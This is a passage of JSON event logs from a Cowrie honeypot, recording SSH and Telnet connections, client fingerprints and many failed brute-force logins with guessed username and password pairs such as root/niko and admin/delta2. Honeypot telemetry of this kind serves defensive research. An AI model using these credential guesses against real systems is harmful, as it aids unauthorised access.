03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:13.029324Z","src_ip":"14.63.196.175","session":"cb54d58b1fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:13.527665Z","src_ip":"49.207.40.162","session":"d128bd1cc130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:13.630124Z","src_ip":"68.183.178.130","session":"d7139eeff057","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:13.863015Z","src_ip":"14.63.196.175","session":"cb54d58b1fe7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:15.066486Z","src_ip":"14.63.196.175","session":"cb54d58b1fe7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35776,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6f1a85a7fa","protocol":"ssh","message":"New connection: 2.57.122.238:35776 (159.203.135.109:22) [session: 5a6f1a85a7fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:18.128664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:18.138516Z","src_ip":"2.57.122.238","session":"5a6f1a85a7fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:18.243843Z","src_ip":"2.57.122.238","session":"5a6f1a85a7fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:18.561032Z","src_ip":"2.57.122.238","session":"5a6f1a85a7fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":59376,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3492199b98c","protocol":"ssh","message":"New connection: 8.218.166.49:59376 (10.17.0.5:22) [session: e3492199b98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:19.596544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:19.645602Z","src_ip":"8.218.166.49","session":"e3492199b98c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:19.684875Z","src_ip":"2.57.122.238","session":"5a6f1a85a7fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:21.083508Z","src_ip":"8.218.166.49","session":"e3492199b98c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:24.587965Z","src_ip":"8.218.166.49","session":"e3492199b98c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:25.793348Z","src_ip":"8.218.166.49","session":"e3492199b98c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56448,"dst_ip":"10.17.0.5","dst_port":22,"session":"9596be29d5eb","protocol":"ssh","message":"New connection: 8.218.166.49:56448 (10.17.0.5:22) [session: 9596be29d5eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:42.760246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:42.768235Z","src_ip":"8.218.166.49","session":"9596be29d5eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.179.231.193","src_port":47834,"dst_ip":"159.203.135.109","dst_port":23,"session":"82823eda7cf4","protocol":"telnet","message":"New connection: 123.179.231.193:47834 (159.203.135.109:23) [session: 82823eda7cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:48.585357Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":45646,"dst_ip":"10.17.0.5","dst_port":22,"session":"054cdd442eee","protocol":"ssh","message":"New connection: 68.183.178.130:45646 (10.17.0.5:22) [session: 054cdd442eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:48.677533Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:48.682581Z","src_ip":"68.183.178.130","session":"054cdd442eee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:48.919453Z","src_ip":"68.183.178.130","session":"054cdd442eee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:49.895169Z","src_ip":"68.183.178.130","session":"054cdd442eee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":37848,"dst_ip":"10.17.0.5","dst_port":22,"session":"7387f0c22108","protocol":"ssh","message":"New connection: 198.23.150.42:37848 (10.17.0.5:22) [session: 7387f0c22108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:50.355777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:50.360335Z","src_ip":"198.23.150.42","session":"7387f0c22108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:50.378753Z","src_ip":"198.23.150.42","session":"7387f0c22108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"niko","message":"login attempt [root/niko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:50.482973Z","src_ip":"198.23.150.42","session":"7387f0c22108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:51.134285Z","src_ip":"68.183.178.130","session":"054cdd442eee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:51.502921Z","src_ip":"198.23.150.42","session":"7387f0c22108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41788,"dst_ip":"10.17.0.5","dst_port":22,"session":"1718c9255ef7","protocol":"ssh","message":"New connection: 8.218.166.49:41788 (10.17.0.5:22) [session: 1718c9255ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:52.725110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:52.729901Z","src_ip":"8.218.166.49","session":"1718c9255ef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:53.199025Z","src_ip":"8.218.166.49","session":"1718c9255ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":58380,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcde709b09de","protocol":"ssh","message":"New connection: 182.180.57.212:58380 (10.17.0.5:22) [session: bcde709b09de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:53.873057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:53.877519Z","src_ip":"182.180.57.212","session":"bcde709b09de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:54.115644Z","src_ip":"182.180.57.212","session":"bcde709b09de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"123456","message":"login attempt [ftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:54.956254Z","src_ip":"8.218.166.49","session":"1718c9255ef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d2+k2d#k0","message":"login attempt [root/d2+k2d#k0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:55.101912Z","src_ip":"182.180.57.212","session":"bcde709b09de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:56.187504Z","src_ip":"8.218.166.49","session":"1718c9255ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:10:56.344352Z","src_ip":"182.180.57.212","session":"bcde709b09de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60366,"dst_ip":"10.17.0.5","dst_port":22,"session":"c34c69a6918c","protocol":"ssh","message":"New connection: 8.218.166.49:60366 (10.17.0.5:22) [session: c34c69a6918c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:04.903661Z"}
{"eventid":"cowrie.session.closed","duration":17.14496922492981,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:05.730192Z","src_ip":"123.179.231.193","session":"82823eda7cf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":49575,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6cbb87b1519","protocol":"ssh","message":"New connection: 2.57.121.112:49575 (10.17.0.5:22) [session: a6cbb87b1519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:05.775753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:05.780673Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:05.881835Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"denisov","message":"login attempt [admin/denisov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:06.361327Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"demand","message":"login attempt [admin/demand] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:07.465517Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"deltaone","message":"login attempt [admin/deltaone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:08.569768Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delta4","message":"login attempt [admin/delta4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:09.674079Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"delta2","message":"login attempt [admin/delta2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:10.779692Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:11.885022Z","src_ip":"2.57.121.112","session":"a6cbb87b1519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":43714,"dst_ip":"10.17.0.5","dst_port":22,"session":"f43eaf82dd18","protocol":"ssh","message":"New connection: 8.218.166.49:43714 (10.17.0.5:22) [session: f43eaf82dd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:16.116327Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":46984,"dst_ip":"10.17.0.5","dst_port":22,"session":"55d12076857a","protocol":"ssh","message":"New connection: 68.183.178.130:46984 (10.17.0.5:22) [session: 55d12076857a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:24.858923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:11:24.863802Z","src_ip":"68.183.178.130","session":"55d12076857a","protocol":"ssh"}
